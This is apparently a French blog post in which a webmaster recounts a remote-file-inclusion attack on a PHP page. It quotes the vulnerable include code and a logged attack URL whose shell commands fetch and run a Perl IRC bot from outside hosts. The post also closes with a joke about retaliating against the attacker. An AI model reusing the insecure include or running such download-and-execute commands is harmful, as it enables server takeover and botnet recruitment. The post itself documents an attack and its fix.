L'idée c'est d'avoir des pages de la forme index.php?p=un ou index.php?p=deux. J'écris donc

if (isset($HTTP_GET_VARS['p'])) {
$page = $HTTP_GET_VARS['p'];
} else {
$page = 'home';
}
include 'header.php';
include "$page.php";
include 'footer.php';

Et ça marche bien ... jusqu'à ce qu'il y ait un malveillant qui donne comme page ni un ni deux .. mais plutôt un truc du style

(extrait de log) /index.php?p=http://www.hotelalpino.com.br/ferias/vnc/cmd/cmd.txt?&cmd= cd%20/tmp; rm%20but.txt; wget%20http://eep.br/~gpereira/but.txt; fetch%20http://eep.br/~gpereira/but.txt; lwp-download%20http://eep.br/~gpereira/but.txt; curl%20-O%20http://eep.br/~gpereira/but.txt; lynx%20http://eep.br/~gpereira/but.txt; perl%20but.txt

Et là, c'est génial. Le gars fait télécharger sur ma machine (ou plutôt chez mon hébergeur) un script dans le répertoire /tmp et l'exécute. Ce script est un bot IRC qui va gentillement se connecter à IRC et attendre les commandes de son "maître". Ces commandes sont du style portscan, tcpflood, httpflood ... ah le malveillant.

Voilà, j'ai envoyé mon mail de "plainte" au site responsable de l'hébergement aparant du gars ... on verra bien. J'ai également été voir sur irc.udplink.net / #bots où je vois 5,6 bots appartenant au gars.

J'ai modifié mon fichier php afin qu'il n'accepte comme paramètres uniquement les valeurs des pages qui existent (dans l'exemple un et deux).

La question qui reste sans réponses ... comment faire brûler sa machine ^^ ... et surtout comment savoir qu'elle a brulé :-))